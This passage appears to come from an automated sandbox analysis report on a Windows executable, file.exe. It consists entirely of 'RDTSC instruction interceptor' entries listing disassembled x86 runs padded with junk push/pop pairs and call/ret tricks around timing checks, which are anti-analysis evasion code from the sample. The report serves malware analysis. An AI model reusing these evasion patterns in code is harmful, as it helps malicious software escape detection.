0x00000054 mov dword ptr [ebp+124497B7h], esi 0x0000005a xchg eax, esi 0x0000005b jnc 00007FE4F8E7888Ah 0x00000061 push eax 0x00000062 push eax 0x00000063 push edx 0x00000064 pushad 0x00000065 push ebx 0x00000066 pop ebx 0x00000067 pushad 0x00000068 popad 0x00000069 popad 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FB756 second address: 7FB763 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push esi 0x0000000b pop esi 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FD49D second address: 7FD4A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FF55E second address: 7FF564 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FE61C second address: 7FE620 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FF564 second address: 7FF5E7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jg 00007FE4F91A0DE6h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f mov bh, FEh 0x00000011 push 00000000h 0x00000013 push 00000000h 0x00000015 push esi 0x00000016 call 00007FE4F91A0DE8h 0x0000001b pop esi 0x0000001c mov dword ptr [esp+04h], esi 0x00000020 add dword ptr [esp+04h], 00000014h 0x00000028 inc esi 0x00000029 push esi 0x0000002a ret 0x0000002b pop esi 0x0000002c ret 0x0000002d sub dword ptr [ebp+122D270Eh], eax 0x00000033 je 00007FE4F91A0DECh 0x00000039 jp 00007FE4F91A0DE6h 0x0000003f push 00000000h 0x00000041 push 00000000h 0x00000043 push ecx 0x00000044 call 00007FE4F91A0DE8h 0x00000049 pop ecx 0x0000004a mov dword ptr [esp+04h], ecx 0x0000004e add dword ptr [esp+04h], 00000017h 0x00000056 inc ecx 0x00000057 push ecx 0x00000058 ret 0x00000059 pop ecx 0x0000005a ret 0x0000005b jo 00007FE4F91A0DFBh 0x00000061 pushad 0x00000062 push eax 0x00000063 pop ecx 0x00000064 jmp 00007FE4F91A0DF1h 0x00000069 popad 0x0000006a push eax 0x0000006b pushad 0x0000006c push eax 0x0000006d push edx 0x0000006e push eax 0x0000006f push edx 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FE620 second address: 7FE6B4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a mov dword ptr [ebp+1247021Bh], edi 0x00000010 push dword ptr fs:[00000000h] 0x00000017 push 00000000h 0x00000019 push ebx 0x0000001a call 00007FE4F8E78888h 0x0000001f pop ebx 0x00000020 mov dword ptr [esp+04h], ebx 0x00000024 add dword ptr [esp+04h], 0000001Dh 0x0000002c inc ebx 0x0000002d push ebx 0x0000002e ret 0x0000002f pop ebx 0x00000030 ret 0x00000031 sub bx, 6E4Dh 0x00000036 add edi, dword ptr [ebp+122D275Dh] 0x0000003c mov dword ptr fs:[00000000h], esp 0x00000043 mov edi, dword ptr [ebp+1247C17Dh] 0x00000049 mov eax, dword ptr [ebp+122D0255h] 0x0000004f push 00000000h 0x00000051 push edx 0x00000052 call 00007FE4F8E78888h 0x00000057 pop edx 0x00000058 mov dword ptr [esp+04h], edx 0x0000005c add dword ptr [esp+04h], 0000001Ah 0x00000064 inc edx 0x00000065 push edx 0x00000066 ret 0x00000067 pop edx 0x00000068 ret 0x00000069 adc ebx, 3E549E7Ch 0x0000006f push FFFFFFFFh 0x00000071 mov edi, ebx 0x00000073 nop 0x00000074 pushad 0x00000075 jc 00007FE4F8E78888h 0x0000007b pushad 0x0000007c popad 0x0000007d push eax 0x0000007e push edx 0x0000007f push eax 0x00000080 push edx 0x00000081 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FF5E7 second address: 7FF5EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FE6B4 second address: 7FE6B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FF5EB second address: 7FF5EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FE6B8 second address: 7FE6BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FF5EF second address: 7FF5F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8004E1 second address: 8004E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FF7CF second address: 7FF7D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 802495 second address: 8024E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4F8E78896h 0x00000007 jmp 00007FE4F8E78891h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jp 00007FE4F8E7889Ah 0x00000014 jmp 00007FE4F8E7888Eh 0x00000019 jns 00007FE4F8E78886h 0x0000001f pushad 0x00000020 jl 00007FE4F8E78886h 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 802B0F second address: 802B21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE4F91A0DEDh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 802B21 second address: 802B28 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 803A29 second address: 803A2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8048ED second address: 8048F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8048F3 second address: 80490F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE4F91A0DF8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80490F second address: 804913 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 805852 second address: 8058D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4F91A0DF6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a nop 0x0000000b xor bx, 5CCAh 0x00000010 push 00000000h 0x00000012 mov dword ptr [ebp+122D180Fh], esi 0x00000018 push 00000000h 0x0000001a push 00000000h 0x0000001c push ebp 0x0000001d call 00007FE4F91A0DE8h 0x00000022 pop ebp 0x00000023 mov dword ptr [esp+04h], ebp 0x00000027 add dword ptr [esp+04h], 00000014h 0x0000002f inc ebp 0x00000030 push ebp 0x00000031 ret 0x00000032 pop ebp 0x00000033 ret 0x00000034 jmp 00007FE4F91A0DF8h 0x00000039 xchg eax, esi 0x0000003a pushad 0x0000003b pushad 0x0000003c jnp 00007FE4F91A0DE6h 0x00000042 jl 00007FE4F91A0DE6h 0x00000048 popad 0x00000049 push edx 0x0000004a jc 00007FE4F91A0DE6h 0x00000050 pop edx 0x00000051 popad 0x00000052 push eax 0x00000053 jc 00007FE4F91A0DEEh 0x00000059 push eax 0x0000005a push eax 0x0000005b push edx 0x0000005c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 808712 second address: 808727 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4F8E78891h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 807920 second address: 807929 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80A657 second address: 80A65D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80A65D second address: 80A69F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 jnp 00007FE4F91A0DE6h 0x0000000e pop eax 0x0000000f jmp 00007FE4F91A0DF4h 0x00000014 popad 0x00000015 jng 00007FE4F91A0E22h 0x0000001b pushad 0x0000001c jmp 00007FE4F91A0DF5h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80A69F second address: 80A6A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8088B1 second address: 808983 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4F91A0DF7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a push eax 0x0000000b jmp 00007FE4F91A0DF2h 0x00000010 nop 0x00000011 push edi 0x00000012 pop ebx 0x00000013 push dword ptr fs:[00000000h] 0x0000001a push 00000000h 0x0000001c push edx 0x0000001d call 00007FE4F91A0DE8h 0x00000022 pop edx 0x00000023 mov dword ptr [esp+04h], edx 0x00000027 add dword ptr [esp+04h], 0000001Dh 0x0000002f inc edx 0x00000030 push edx 0x00000031 ret 0x00000032 pop edx 0x00000033 ret 0x00000034 sub ebx, dword ptr [ebp+122D2455h] 0x0000003a mov dword ptr fs:[00000000h], esp 0x00000041 mov edi, dword ptr [ebp+122D1C06h] 0x00000047 or ebx, dword ptr [ebp+122D1EEAh] 0x0000004d mov eax, dword ptr [ebp+122D1289h] 0x00000053 push 00000000h 0x00000055 push ebp 0x00000056 call 00007FE4F91A0DE8h 0x0000005b pop ebp 0x0000005c mov dword ptr [esp+04h], ebp 0x00000060 add dword ptr [esp+04h], 00000018h 0x00000068 inc ebp 0x00000069 push ebp 0x0000006a ret 0x0000006b pop ebp 0x0000006c ret 0x0000006d jmp 00007FE4F91A0DF0h 0x00000072 push FFFFFFFFh 0x00000074 mov dword ptr [ebp+122D2434h], esi 0x0000007a jnp 00007FE4F91A0DECh 0x00000080 push eax 0x00000081 push eax 0x00000082 push edx 0x00000083 jmp 00007FE4F91A0DEEh 0x00000088 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80BBE0 second address: 80BBF0 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FE4F8E78886h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push edi 0x0000000c pop edi 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80BBF0 second address: 80BC0B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FE4F91A0DF4h 0x00000008 pop ecx 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80BC0B second address: 80BC39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FE4F8E78886h 0x0000000a pop ebx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 pop ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FE4F8E78899h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80BC39 second address: 80BC43 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FE4F91A0DE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80D886 second address: 80D8AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007FE4F8E78893h 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jns 00007FE4F8E78886h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80D8AA second address: 80D8AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80D8AE second address: 80D8B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7AC617 second address: 7AC62E instructions: 0x00000000 rdtsc 0x00000002 jne 00007FE4F91A0DECh 0x00000008 pushad 0x00000009 je 00007FE4F91A0DE6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8152E8 second address: 8152F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 je 00007FE4F8E78886h 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8152F5 second address: 815307 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FE4F91A0DECh 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 815307 second address: 81531C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE4F8E78891h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8155B9 second address: 8155C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 popad 0x00000008 pushad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8155C5 second address: 8155D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b js 00007FE4F8E78886h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 819DFC second address: 819E02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 819E02 second address: 643A2F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4F8E7888Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b add dword ptr [esp], 42B0C006h 0x00000012 jmp 00007FE4F8E7888Bh 0x00000017 push dword ptr [ebp+122D1239h] 0x0000001d pushad 0x0000001e jmp 00007FE4F8E78892h 0x00000023 popad 0x00000024 call dword ptr [ebp+122D1BCDh] 0x0000002a pushad 0x0000002b jmp 00007FE4F8E78899h 0x00000030 xor eax, eax 0x00000032 stc 0x00000033 mov edx, dword ptr [esp+28h] 0x00000037 mov dword ptr [ebp+122D1BECh], edi 0x0000003d mov dword ptr [ebp+122D2915h], eax 0x00000043 jmp 00007FE4F8E7888Bh 0x00000048 mov esi, 0000003Ch 0x0000004d mov dword ptr [ebp+122D1BECh], ecx 0x00000053 add esi, dword ptr [esp+24h] 0x00000057 sub dword ptr [ebp+122D3097h], eax 0x0000005d lodsw 0x0000005f or dword ptr [ebp+122D3097h], edx 0x00000065 add eax, dword ptr [esp+24h] 0x00000069 cld 0x0000006a mov dword ptr [ebp+122D1BECh], edx 0x00000070 mov ebx, dword ptr [esp+24h] 0x00000074 jo 00007FE4F8E78892h 0x0000007a jmp 00007FE4F8E7888Ch 0x0000007f nop 0x00000080 push ebx 0x00000081 push eax 0x00000082 push edx 0x00000083 jmp 00007FE4F8E7888Ch 0x00000088 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EC9A4 second address: 7EC9A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EC9A8 second address: 643A2F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4F8E78894h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b push dword ptr [ebp+122D1239h] 0x00000011 mov ch, 92h 0x00000013 call dword ptr [ebp+122D1BCDh] 0x00000019 pushad 0x0000001a jmp 00007FE4F8E78899h 0x0000001f xor eax, eax 0x00000021 stc 0x00000022 mov edx, dword ptr [esp+28h] 0x00000026 mov dword ptr [ebp+122D1BECh], edi 0x0000002c mov dword ptr [ebp+122D2915h], eax 0x00000032 jmp 00007FE4F8E7888Bh 0x00000037 mov esi, 0000003Ch 0x0000003c mov dword ptr [ebp+122D1BECh], ecx 0x00000042 add esi, dword ptr [esp+24h] 0x00000046 sub dword ptr [ebp+122D3097h], eax 0x0000004c lodsw 0x0000004e or dword ptr [ebp+122D3097h], edx 0x00000054 add eax, dword ptr [esp+24h] 0x00000058 cld 0x00000059 mov dword ptr [ebp+122D1BECh], edx 0x0000005f mov ebx, dword ptr [esp+24h] 0x00000063 jo 00007FE4F8E78892h 0x00000069 jmp 00007FE4F8E7888Ch 0x0000006e nop 0x0000006f push ebx 0x00000070 push eax 0x00000071 push edx 0x00000072 jmp 00007FE4F8E7888Ch 0x00000077 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ECB22 second address: 7ECB7C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FE4F91A0DEDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 6564FB63h 0x00000010 sbb dh, 00000064h 0x00000013 mov edx, 47B1A848h 0x00000018 call 00007FE4F91A0DE9h 0x0000001d jmp 00007FE4F91A0DEBh 0x00000022 push eax 0x00000023 jmp 00007FE4F91A0DF8h 0x00000028 mov eax, dword ptr [esp+04h] 0x0000002c jbe 00007FE4F91A0DEEh 0x00000032 push ebx 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ECB7C second address: 7ECBA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 mov eax, dword ptr [eax] 0x00000007 pushad 0x00000008 jmp 00007FE4F8E78893h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FE4F8E7888Bh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ECBA4 second address: 7ECBA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ECBA8 second address: 7ECBBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push edi 0x0000000c jp 00007FE4F8E7888Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ECC70 second address: 7ECC75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ECD08 second address: 7ECD2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE4F8E78898h 0x00000009 popad 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ECD2D second address: 7ECD33 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ECDF9 second address: 7ECDFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ED0D1 second address: 7ED134 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push esi 0x0000000d call 00007FE4F91A0DE8h 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], esi 0x00000017 add dword ptr [esp+04h], 00000014h 0x0000001f inc esi 0x00000020 push esi 0x00000021 ret 0x00000022 pop esi 0x00000023 ret 0x00000024 mov edx, edi 0x00000026 mov dx, si 0x00000029 push 00000004h 0x0000002b push 00000000h 0x0000002d push edi 0x0000002e call 00007FE4F91A0DE8h 0x00000033 pop edi 0x00000034 mov dword ptr [esp+04h], edi 0x00000038 add dword ptr [esp+04h], 0000001Ch 0x00000040 inc edi 0x00000041 push edi 0x00000042 ret 0x00000043 pop edi 0x00000044 ret 0x00000045 sub dword ptr [ebp+122D30BDh], ebx 0x0000004b mov dword ptr [ebp+122D26F0h], ecx 0x00000051 push eax 0x00000052 pushad 0x00000053 push eax 0x00000054 push edx 0x00000055 push ecx 0x00000056 pop ecx 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ED9AB second address: 7ED9B1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ED9B1 second address: 7ED9B6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ED9B6 second address: 7D33F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a or cx, 41CBh 0x0000000f lea eax, dword ptr [ebp+1247C25Ah] 0x00000015 jmp 00007FE4F8E78899h 0x0000001a push eax 0x0000001b push esi 0x0000001c jg 00007FE4F8E78888h 0x00000022 pop esi 0x00000023 mov dword ptr [esp], eax 0x00000026 adc dx, 9400h 0x0000002b movzx ecx, si 0x0000002e call dword ptr [ebp+122D1E86h] 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007FE4F8E7888Ch 0x0000003b jmp 00007FE4F8E78894h 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 822C55 second address: 822C6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FE4F91A0DF5h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 822C6F second address: 822C8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FE4F8E7888Dh 0x00000009 jmp 00007FE4F8E7888Eh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 822C8E second address: 822C97 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 822F5B second address: 822F65 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 822F65 second address: 822F93 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007FE4F91A0DEBh 0x0000000e jmp 00007FE4F91A0DF3h 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 822F93 second address: 822FA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push ecx 0x00000006 jmp 00007FE4F8E7888Ah 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 822FA5 second address: 822FAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 822FAA second address: 822FB4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FE4F8E78886h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 822FB4 second address: 822FB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82324C second address: 823250 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 823250 second address: 82326A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007FE4F91A0DE6h 0x0000000e jmp 00007FE4F91A0DECh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82326A second address: 823274 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FE4F8E78886h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8233DD second address: 8233E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007FE4F91A0DE6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8233E8 second address: 8233F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
